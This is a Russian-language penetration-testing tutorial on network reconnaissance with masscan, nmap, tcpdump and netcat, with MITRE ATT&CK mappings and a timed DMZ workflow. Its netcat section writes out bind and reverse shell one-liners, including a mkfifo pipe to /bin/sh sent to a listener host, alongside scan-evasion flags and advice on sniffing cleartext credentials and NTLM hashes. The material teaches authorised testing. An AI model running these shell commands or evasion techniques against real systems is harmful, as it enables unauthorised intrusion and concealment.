Фаза разведки определяет всё. Криво просканировал периметр, пропустил открытый порт, не заметил баннер устаревшего сервиса - дальше можно не продолжать. За пять лет внешних и внутренних пентестов я убедился: 80% успешных векторов атаки рождаются на этапе сетевой разведки, а не в момент запуска эксплойта. Эксплойт - это вишенка. Разведка - весь торт.
Здесь я покажу, как выстроить полный цикл сетевой разведки из Linux для пентеста с четырьмя инструментами (masscan, nmap, tcpdump и netcat - в контексте всего арсенала пентестера они разобраны в
полном руководстве по Linux для пентестера) - masscan, nmap, tcpdump и netcat. Не голый список команд, а связанные сценарии: что запускать первым, как передавать результаты между инструментами и где новичок гарантированно споткнётся (проверено на стажёрах).
Сетевая разведка в контексте MITRE ATT&CK
Прежде чем запускать первый скан, полезно понимать, что именно ты делаешь с точки зрения фреймворка MITRE ATT&CK. Это не академическое упражнение - понимание тактик поможет грамотно описать находки в отчёте и объяснить заказчику, почему найденное критично.
Какие техники покрывает фаза сетевой разведки:
Техника MITRE ATT&CKIDТактикаЧто делаем на практикеScanning IP BlocksT1595.001Reconnaissancemasscan по /16-подсетямVulnerability ScanningT1595.002Reconnaissancenmap --script vulnNetwork Service DiscoveryT1046Discoverynmap -sV -sC для enumerationNetwork SniffingT1040Credential Access, Discoverytcpdump для пассивного перехвата учётных данных в открытом трафике (HTTP Basic Auth, FTP-пароли), захвата NTLM challenge/response для офлайн-брутфорса, баннеров и анализа handshakeRemote System DiscoveryT1018Discoverynmap -sn для обнаружения хостовSystem Network Connections DiscoveryT1049Discoverynetstat, ss на скомпрометированном хостеSystem Network Configuration DiscoveryT1016Discoveryip route, arp -a при lateral movement
Когда пишешь отчёт, ссылка на конкретную технику ATT&CK сразу поднимает уровень документа. Заказчик видит не «мы нашли открытый порт», а «Network Service Discovery (T1046, Discovery) выявил сервис MS SQL на нестандартном порту, доступный из внешней сети». Совсем другой разговор.
Подготовка окружения для сканирования сети
Всё, что описано ниже, предполагает работу из Kali Linux или любого Debian-based дистрибутива. Ставим инструменты одной командой:
Bash:
Код:
sudo
apt
update
sudo
apt
install
nmap masscan netcat-openbsd netcat-traditional tcpdump -y
Создай рабочую директорию для проекта - через два дня, когда сядешь писать отчёт, скажешь себе спасибо:
Bash:
Код:
ENGAGEMENT
=
"client_$(date +%Y%m%d)"
mkdir
-p /tmp/
${ENGAGEMENT}
/
{
scans,pcaps,loot,reports
}
И момент, который новички стабильно пропускают: проверь, что у тебя есть
письменное разрешение на сканирование. Без scope of work и rules of engagement даже пинг-скан - потенциальная уголовка. Это не шутка и не формальность.
masscan - быстрое сканирование портов на больших сетях
masscan - первый инструмент в цепочке. Его задача - за минуты прочесать огромные диапазоны и найти, где вообще торчат открытые порты. По данным автора Роберта Грэхема, masscan способен отправлять до 10 миллионов пакетов в секунду (при наличии 10GbE-адаптера) и теоретически может просканировать весь IPv4-диапазон по одному порту примерно за 6 минут. На обычном железе реалистичный rate - десятки-сотни тысяч pps.
Ловушка: если запустишь masscan с дефолтным rate на клиентской сети - ты её положишь. Это первая и самая распространённая ошибка джуниоров.
Базовое сканирование с безопасным rate
Bash:
Код:
# Сканируем подсеть /24 по всем портам, rate 1000 пакетов/с
sudo
masscan -p1-65535
192.168
.1.0/24 --rate
=
1000
\
-oG /tmp/
${ENGAGEMENT}
/scans/masscan_results.gnmap
# Для /16 подсети - увеличиваем rate, но осторожно
sudo
masscan -p1-65535
10.0
.0.0/16 --rate
=
5000
\
-oG /tmp/
${ENGAGEMENT}
/scans/masscan_large.gnmap
Разберём флаги:
- - все 65535 TCP-портов. Не путай с дефолтным поведением nmap, который сканирует только top-1000
- - 1000 пакетов в секунду. Для корпоративной LAN - безопасно. Для продакшн-среды с чувствительным оборудованием - снижай до 500
- - вывод в формате grepable, удобно парсить для передачи в nmap
Типичные ошибки при работе с masscan
Ошибка 1: запуск без rate-лимита. По умолчанию masscan отправляет 100 пакетов/с, но с флагом
(а я такое видел в «туториалах») ты генерируешь DDoS на собственного клиента. На внутреннем пентесте это звонок от SOC через 30 секунд.
Ошибка 2: доверять результатам masscan как финальным. masscan использует асинхронную передачу - отправляет SYN и слушает ответы отдельно. Скорость есть, точность - так себе. Порт, который masscan показал как открытый, может быть ложноположительным. Всегда верифицируй через nmap.
Ошибка 3: забыть про
. С этим флагом masscan попытается схватить баннер сервиса - сэкономит время на следующем этапе:
Bash:
Код:
sudo
masscan -p80,443,8080,8443
192.168
.1.0/24
\
--rate
=
1000
--banners
\
-oG /tmp/
${ENGAGEMENT}
/scans/masscan_web.gnmap
Извлечение живых хостов из результатов masscan
Bash:
Код:
# Парсим результаты masscan, вытаскиваем уникальные IP
grep
"Host:"
/tmp/
${ENGAGEMENT}
/scans/masscan_results.gnmap
\
|
awk
'{print $2}'
|
sort
-u
>
/tmp/
${ENGAGEMENT}
/scans/live_hosts.txt
# Смотрим, сколько хостов нашли
wc
-l /tmp/
${ENGAGEMENT}
/scans/live_hosts.txt
Теперь у тебя есть файл
- список целей для глубокого nmap сканирования сети.
nmap - глубокое сканирование и enumeration сетевых сервисов
nmap - основной инструмент для детальной разведки. Если masscan - это радар, который видит «что-то там есть», то nmap - бинокль с тепловизором. Лично у меня ни один пентест без него не обходился.
Обнаружение хостов в сети (Host Discovery)
Если начинаешь без предварительного masscan (например, сеть маленькая), первый шаг - ping sweep:
Bash:
Код:
# Пинг-скан: находим живые хосты без сканирования портов
nmap -sn
192.168
.1.0/24 -oG /tmp/
${ENGAGEMENT}
/scans/ping_sweep.gnmap
# Извлекаем IP живых хостов
grep
"Up"
/tmp/
${ENGAGEMENT}
/scans/ping_sweep.gnmap
\
|
awk
'{print $2}'
>
/tmp/
${ENGAGEMENT}
/scans/live_hosts.txt
Флаг
говорит nmap: «только обнаружение хостов, порты не сканируй». Это техника Remote System Discovery (T1018) в терминологии MITRE ATT&CK.
Нюанс: некоторые хосты не отвечают на ICMP (пинг отключён на фаерволе). Тут помогает ARP-сканирование в локальной сети:
Bash:
Код:
# ARP-скан - работает только в L2-сегменте
nmap -sn -PR
192.168
.1.0/24
Флаг
заставляет nmap использовать ARP-запросы вместо ICMP. В локалке это надёжнее - ARP нельзя заблокировать, не потеряв сетевую связность.
Сканирование портов: SYN vs Connect
Вот где новички путаются чаще всего. Разница между
(SYN-скан) и
(TCP connect-скан) - принципиальная:
Bash:
Код:
# SYN-скан (стелс): отправляет SYN, получает SYN-ACK, отправляет RST
# Не завершает TCP-хендшейк - тише, быстрее, но требует root
sudo
nmap -sS -p-
192.168
.1.100 -oA /tmp/
${ENGAGEMENT}
/scans/syn_scan
# Connect-скан: полный TCP-хендшейк через системный вызов connect()
# Не требует root, но медленнее и шумнее - виден в логах приложений
nmap -sT -p-
192.168
.1.100 -oA /tmp/
${ENGAGEMENT}
/scans/connect_scan
SYN-скан отправляет RST после получения SYN-ACK и никогда не завершает соединение. Поэтому он реже попадает в логи приложений (хотя современные IDS его прекрасно видят). Connect-скан устанавливает полное соединение - приложение его залогирует.
Флаг
- сканирование
всех 65535 портов. Без него nmap проверяет только top-1000, и ты пропустишь сервис на порту 8888 или 31337. Вторая классическая ошибка начинающих.
OS detection и fingerprinting сервисов
После обнаружения портов - определяем, что на них живёт:
Bash:
Код:
# Версии сервисов + ОС + скрипты по умолчанию
sudo
nmap -sV -sC -O -p
22,80
,443,445,3306,3389
\
-iL /tmp/
${ENGAGEMENT}
/scans/live_hosts.txt
\
-oA /tmp/
${ENGAGEMENT}
/scans/detailed_scan
\
--max-retries
2
\
--host-timeout 30m
Разберём каждый флаг:
- - version detection. Nmap подключается к порту и анализирует баннер, чтобы определить софт и версию (footprinting и fingerprinting)
- - запускает скрипты из категории «default». Безопасные скрипты: определение SSL-сертификатов, HTTP-заголовков, SMB-информации
- - OS detection. Анализирует TTL, TCP Window Size, фрагментацию для определения операционной системы
- - читает список целей из файла (того самого
)
- - максимум 2 повтора для каждого порта. Ускоряет скан, чуть снижает точность
- - таймаут на хост. Если один хост «завис», nmap пойдёт дальше
NSE-скрипты для поиска уязвимостей
Nmap Scripting Engine - штука, которая превращает nmap из сканера портов в полноценный инструмент Vulnerability Scanning (T1595.002):
Bash:
Код:
# Поиск известных уязвимостей на конкретном хосте
nmap -sV --script vuln
192.168
.1.100
\
-oA /tmp/
${ENGAGEMENT}
/scans/vuln_scan
# Проверка MS12-020 (CVE-2012-0002) - DoS/RCE в RDP
nmap -p
3389
--script rdp-vuln-ms12-020
192.168
.1.100
# Для BlueKeep (CVE-2019-0708) в nmap нет встроенного скрипта;
# используй rdpscan (Robert Graham) или Metasploit auxiliary/scanner/rdp/cve_2019_0708_bluekeep
# Проверка EternalBlue (MS17-010)
nmap -p
445
--script smb-vuln-ms17-010
192.168
.1.0/24
# Аудит SSL/TLS-конфигурации
nmap -p
443
--script ssl-enum-ciphers
192.168
.1.100
Пару слов о CVE-2019-0708 (BlueKeep) - уязвимость удалённого выполнения кода в Remote Desktop Services с CVSS 9.8 (CRITICAL). Вектор атаки: сетевой, не требует ни аутентификации, ни действий пользователя (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). Классификация по CWE-416 (Use After Free). Затрагивает Windows 7, Windows Server 2008, Windows Server 2008 R2, а также Windows XP и Windows Server 2003 (Microsoft выпустила внеочередные патчи даже для этих EOL-систем - вот насколько всё серьёзно). Если при сканировании находишь открытый RDP на этих системах - это критическая находка для отчёта.
nmap: практические сценарии для пентеста
Сценарий: быстрая первичная разведка за 10 минут
Bash:
Код:
# Шаг 1: top-1000 портов по всей подсети
nmap -sV --top-ports
1000
192.168
.1.0/24
\
-oA /tmp/
${ENGAGEMENT}
/scans/quick_scan --open
# Шаг 2: по результатам - глубокое сканирование интересных хостов
nmap -sV -sC -O -p-
192.168
.1.42
\
-oA /tmp/
${ENGAGEMENT}
/scans/deep_192.168.1.42
Сценарий: обход простого фаервола фрагментацией
Bash:
Код:
# Фрагментация IP-пакетов - обходит некоторые stateless фаерволы
sudo
nmap -f -sS
192.168
.1.100
# Кастомный MTU (должен быть кратен 8; малые значения эффективнее для обхода)
sudo
nmap --mtu
24
-sS
192.168
.1.100
# Использование decoys - затрудняет обнаружение реального сканера
sudo
nmap -D RND:5 -sS
192.168
.1.100
Флаг
разбивает пакеты на фрагменты по 8 байт.
задаёт кастомный размер фрагмента (кратный 8). Эти флаги взаимоисключающие:
переопределяет
.
добавляет 5 случайных IP-адресов как «приманки» - на стороне цели будет видно сканирование с 6 адресов, и поди разбери, какой настоящий.
tcpdump - анализ трафика и верификация результатов
tcpdump - CLI-микроскоп для сетевого трафика. Его задача при пентесте - верифицировать то, что показали сканеры, и увидеть то, что они пропустили. Это инструмент Network Sniffing (T1040).
Базовый захват трафика
Bash:
Код:
# Захват всего трафика на интерфейсе eth0
sudo
tcpdump -i eth0 -w /tmp/
${ENGAGEMENT}
/pcaps/full_capture.pcap
# Захват с фильтром: только трафик от/к конкретному хосту
sudo
tcpdump -i eth0 -n
host
192.168
.1.100
\
-w /tmp/
${ENGAGEMENT}
/pcaps/target_100.pcap
# Захват без резолва DNS (флаг -n) - это КРИТИЧНО для скорости
sudo
tcpdump -i eth0 -n -c
1000
Флаг
- запомни раз и навсегда. Без него tcpdump пытается резолвить каждый IP в hostname, что адски замедляет вывод и генерирует лишний DNS-трафик. Новичок без
получает кашу из медленно появляющихся строк и думает, что инструмент сломан.
Флаг
пишет в pcap-файл, который потом можно открыть в Wireshark для детального анализа.
Фильтры BPF для пентестера
Berkeley Packet Filter (BPF) - синтаксис фильтрации, одинаковый для tcpdump и Wireshark:
Bash:
Код:
# Только TCP SYN-пакеты (начало соединений) - видим что пытается подключаться
sudo
tcpdump -i eth0 -n
'tcp[tcpflags] & tcp-syn != 0'
# Трафик на порт 445 (SMB) - ищем попытки доступа к шарам
sudo
tcpdump -i eth0 -n dst port
445
# Всё кроме SSH - чтобы собственная сессия не засоряла вывод
sudo
tcpdump -i eth0 -n port not
22
# HTTP-трафик с выводом содержимого (ASCII)
sudo
tcpdump -i eth0 -n -A port
80
# Захват трафика между двумя конкретными хостами
sudo
tcpdump -i eth0 -n src
192.168
.1.50 and dst
192.168
.1.100 and dst port
3389
Практический сценарий: анализ TCP-хендшейка
Допустим, nmap показал порт 8080 как
, но ты подозреваешь, что за ним что-то есть. Запускаем tcpdump и одновременно пробуем подключиться:
Терминал 1 - слушаем трафик:
Bash:
Код:
sudo
tcpdump -i eth0 -n
host
192.168
.1.100 and port
8080
-vv
Терминал 2 - пробуем подключиться:
Bash:
Код:
nc
-nvz -w
3
192.168
.1.100
8080
Что увидим в tcpdump:
Порт открыт - полный хендшейк:
Код:
Код:
IP 192.168.1.50.44321 > 192.168.1.100.8080: Flags [S], seq 123456
IP 192.168.1.100.8080 > 192.168.1.50.44321: Flags [S.], seq 789012, ack 123457
IP 192.168.1.50.44321 > 192.168.1.100.8080: Flags [R], seq 123457
Порт закрыт - мгновенный RST:
Код:
Код:
IP 192.168.1.50.44321 > 192.168.1.100.8080: Flags [S], seq 123456
IP 192.168.1.100.8080 > 192.168.1.50.44321: Flags [R.], seq 0, ack 123457
Порт за фаерволом (drop) - SYN уходит, ответа нет:
Код:
Код:
IP 192.168.1.50.44321 > 192.168.1.100.8080: Flags [S], seq 123456
IP 192.168.1.50.44321 > 192.168.1.100.8080: Flags [S], seq 123456 (retransmission)
IP 192.168.1.50.44321 > 192.168.1.100.8080: Flags [S], seq 123456 (retransmission)
Для тех кто в танке:
= SYN,
= SYN-ACK,
= RST. Умение читать эти флаги - обязательный навык для пентестера.
netcat - ручная проверка и banner grabbing
netcat (nc) часто называют «швейцарским ножом TCP/IP» - и не зря. В сетевой разведке у него три основных применения: проверка портов, banner grabbing и быстрый файловый обмен между машинами.
Сканирование портов Linux через netcat
Bash:
Код:
# Сканирование диапазона портов (-z = zero I/O, только проверка)
nc
-nvz
192.168
.1.100
1
-1024
# Сканирование конкретных портов
nc
-nvz
192.168
.1.100
22
80
443
3306
8080
# UDP-сканирование (-u)
# ВНИМАНИЕ: UDP-скан через netcat ненадёжен - если ICMP Port Unreachable
# блокируется фаерволом, ВСЕ порты покажутся открытыми. Для точного
# UDP-скана используй nmap -sU с protocol-specific payloads.
nc
-nvzu
192.168
.1.100
53
161
500
Флаги:
- - не резолвить DNS (аналогично tcpdump)
- - verbose, показывает результат для каждого порта
- - режим нулевого ввода-вывода, только проверяет «открыт/закрыт», данные не отправляет
- - UDP вместо TCP
Banner grabbing - техники извлечения информации
Banner grabbing - одна из ключевых техник footprinting и fingerprinting. Подключаемся к сервису и читаем, что он нам расскажет:
Bash:
Код:
# Banner grab HTTP - нужен валидный запрос (пустая строка не вызовет ответа)
echo
-e
"GET / HTTP/1.0\r\n\r\n"
|
nc
-nv -w
3
192.168
.1.100
80
# Альтернатива с HEAD-запросом
echo
-e
"HEAD / HTTP/1.1\r\nHost: 192.168.1.100\r\n\r\n"
|
\
nc
-nv -w
3
192.168
.1.100
80
# Banner grab SSH
nc
-nv -w
3
192.168
.1.100
22
# Обычно сразу получишь: SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6
# Banner grab SMTP
nc
-nv -w
3
192.168
.1.100
25
# Ответ: 220 mail.example.com ESMTP Postfix
# Banner grab FTP
nc
-nv -w
3
192.168
.1.100
21
Флаг
- таймаут 3 секунды. Без него netcat будет ждать бесконечно, и ты потеряешь время.
Информация из баннера - версия софта, имя хоста, иногда даже версия ОС - прямой вход в поиск эксплойтов:
Bash:
Код:
# Нашли OpenSSH 7.4? Ищем эксплойты
searchsploit
"OpenSSH 7.4"
# Нашли Apache 2.4.29? Проверяем
searchsploit
"Apache 2.4.29"
Reverse shell через netcat для пентеста
На этапе эксплуатации netcat часто используется для получения shell-доступа. Две схемы:
Bind shell - цель слушает, ты подключаешься:
Bash:
Код:
# На целевой машине (если у тебя уже есть доступ для запуска)
# Вариант 1: netcat-traditional (поддерживает -e)
nc.traditional -l -p
4444
-e /bin/bash
# Вариант 2: ncat (из пакета nmap, одно соединение; для persistent - добавь --keep-open)
ncat -l -p
4444
-e /bin/bash
# На твоей машине - подключаемся
nc
192.168
.1.100
4444
Reverse shell - ты слушаешь, цель подключается к тебе (обходит входящие правила фаервола):
Bash:
Код:
# На твоей машине - слушаем
nc
-lvp
4444
# На целевой машине (netcat-traditional или ncat)
nc.traditional
192.168
.1.50
4444
-e /bin/bash
# Альтернатива без -e (работает с любым netcat):
# rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.50 4444 >/tmp/f
Нюанс, на котором спотыкаются: флаг
есть не во всех версиях netcat. В Kali по умолчанию стоит
, где
отсутствует. Для пентеста бери
(из пакета nmap) или
.
Практический сценарий: разведка DMZ за 30 минут
Вот реальный workflow, который я использую при внешнем пентесте. У тебя есть диапазон 10.0.0.0/24, 30 минут до первого алерта SOC и задача - построить карту периметра.
🔓 Часть контента скрыта: Эксклюзивный контент для зарегистрированных пользователей.
Зарегистрироваться
или
Войти
Минуты 0-5: быстрый обзор через masscan
Bash:
Код:
# Топовые порты на максимальной безопасной скорости
sudo
masscan -p
21,22
,25,53,80,110,143,443,445,993,995,1433,3306,3389,5432,8080,8443
\
10.0
.0.0/24 --rate
=
2000
--banners
\
-oG /tmp/engagement/scans/masscan_initial.gnmap
# Вытаскиваем живые хосты
grep
"Host:"
/tmp/engagement/scans/masscan_initial.gnmap
\
|
awk
'{print $2}'
|
sort
-u
>
/tmp/engagement/scans/targets.txt
Минуты 5-15: точное nmap сканирование сети
Bash:
Код:
# Версии сервисов + скрипты по умолчанию на найденных хостах
sudo
nmap -sV -sC -O
\
-iL /tmp/engagement/scans/targets.txt
\
-oA /tmp/engagement/scans/detailed
\
--open --max-retries
1
--host-timeout 5m
Минуты 15-20: banner grabbing через netcat на интересных портах
Bash:
Код:
# Допустим nmap показал порт 8080 как "tcpwrapped" - проверяем руками
echo
-e
"GET / HTTP/1.0\r\n\r\n"
|
nc
-nv -w
3
10.0
.0.15
8080
# Проверяем нестандартный порт 9090
nc
-nv -w
3
10.0
.0.15
9090
Минуты 20-25: tcpdump для верификации
Bash:
Код:
# Записываем трафик, пока делаем ручные проверки
sudo
tcpdump -i eth0 -n -w /tmp/engagement/pcaps/manual_checks.pcap
\
host
10.0
.0.15
&
# Делаем подключения для анализа
nc
-nvz
10.0
.0.15
1
-1024
2>
&1
|
grep
-E
"open|succeeded"
# Останавливаем tcpdump
kill
%1
Минуты 25-30: NSE-скрипты для поиска уязвимостей
Bash:
Код:
# Vulnerability scan на самых интересных хостах
nmap -sV --script vuln
10.0
.0.15
\
-oA /tmp/engagement/scans/vuln_10.0.0.15
# Проверка SMB на распространённые уязвимости
nmap -p
445
--script smb-vuln-ms17-010
\
-iL /tmp/engagement/scans/targets.txt
На выходе: список живых хостов, карта открытых портов с версиями сервисов, баннеры, потенциальные уязвимости и pcap-файл для глубокого анализа. За 30 минут. Неплохо.
Активная разведка и пассивная разведка сети
Всё, что описано выше - это активная разведка пентест. Ты отправляешь пакеты, взаимодействуешь с целью, оставляешь следы. Но перед активной фазой стоит провести пассивную разведку - сбор информации без прямого контакта с целью.
Инструменты пассивной разведки сети:
Bash:
Код:
# DNS-разведка - не касаемся инфраструктуры цели напрямую
dig
example.com ANY
dig
+short example.com MX
dig
+short example.com NS
whois example.com
# Поиск поддоменов через certificate transparency logs
# crt.sh может возвращать 502/503 при высокой нагрузке; альтернативы: subfinder, amass
curl
-s
"https://crt.sh/?q=%.example.com&output=json"
\
|
python3 -c
"import sys,json; data=json.load(sys.stdin); [print(line) for x in data for line in x['name_value'].split('\\n')]"
\
|
sort
-u
# Обратный DNS для диапазона (не отправляет пакетов в сеть)
nmap -sL
192.168
.1.0/24
Команда
- list scan. Не отправляет ни одного пакета в сеть, только делает обратный DNS-запрос для каждого IP. Тихо, безопасно и часто выдаёт интересные hostname'ы вроде
или
. На одном проекте именно так мы нашли забытый бэкап-сервер, о котором заказчик «не помнил».
Частые ошибки начинающих при сетевой разведке
За время внутренних воркшопов я собрал топ ошибок, на которых спотыкается каждый второй стажёр:
1. Сканирование без
в nmap. По умолчанию nmap проверяет ~1000 портов. Сервис на порту 8888, 9200 (Elasticsearch), 27017 (MongoDB) или 31337 - ты его просто не увидишь. Всегда
для полного скана или явно указывай нужные порты.
2. Путаница между SYN и connect-сканом. Запускают
без sudo и получают ошибку, потому что SYN-скан требует raw sockets. Без root nmap тихо откатывается на
- connect-скан, который медленнее и заметнее. А стажёр и не замечает.
3. masscan без rate-лимита. Уже говорил, но повторю:
на продакшн-сети - это инцидент, за который потом объясняться перед заказчиком. Было.
4. tcpdump без
. Без этого флага каждый IP резолвится в hostname - вывод медленный и нечитаемый. Вторая проблема: сами DNS-запросы создают дополнительный трафик, которого ты не планировал.
5. Не сохраняют результаты. Пробежался nmap'ом, посмотрел на экран, закрыл терминал. А через два дня нужно писать отчёт. Всегда
(nmap),
(masscan),
(tcpdump). Это не лишний флаг - это страховка.
6. Игнорирование UDP. TCP-сканирование - половина картины. DNS (53), SNMP (161), TFTP (69), IPSec (500) работают по UDP. Добавляй UDP-скан хотя бы для ключевых портов:
Bash:
Код:
sudo
nmap -sU --top-ports
50
-iL /tmp/engagement/scans/targets.txt
\
-oA /tmp/engagement/scans/udp_scan
UDP-скан медленный по природе (нет хендшейка, приходится ждать ICMP-ответ о недоступности), поэтому ограничивай количество портов.
Сводная таблица инструментов
ПараметрmasscannmaptcpdumpnetcatОснов ная задачаБыстрое сканирование больших сетейГлубокий анализ хостов и сервисовЗахват и анализ пакетовРучная проверка портов, banner grabbingСкоростьДо 10M пакетов/сСотни-тысячи пакетов/сПассивный захватОдно соединение за разТочностьСредняяВысокая Максимальная (сырые пакеты)Высокая (ручная верификация)Требует rootДаДля SYN-сканаДаНет (для базовых операций)Вывод в файл-oG, -oJ, -oX-oA, -oN, -oG, -oX-w (pcap)Через перенаправление (>)Этап разведкиПервый (обзор)Второй (глубина)Параллельно (верификация)Третий (точечная проверка)
Правильная цепочка:
masscan (быстро находим живые порты) →
nmap (глубоко исследуем найденное) →
tcpdump (верифицируем и ловим то, что пропустили) →
netcat (руками проверяем интересные сервисы и грабим баннеры).
Эта цепочка покрывает полный цикл Network Service Discovery (T1046) и даёт материал для перехода к фазе эксплуатации. Каждый инструмент компенсирует слабости другого: masscan быстр, но неточен; nmap точен, но медлен на больших сетях; tcpdump видит всё, но требует интерпретации; netcat прост, но работает точечно.
Освоив эту четвёрку и научившись связывать их в цепочку, ты закроешь 90% задач фазы разведки на любом инфраструктурном пентесте. Остальные 10% - специализированные утилиты под конкретные протоколы. Но основа всегда одна. Попробуй прогнать сценарий «DMZ за 30 минут» на своей лабе - и увидишь, сколько интересного торчит наружу даже в «чистой» сети.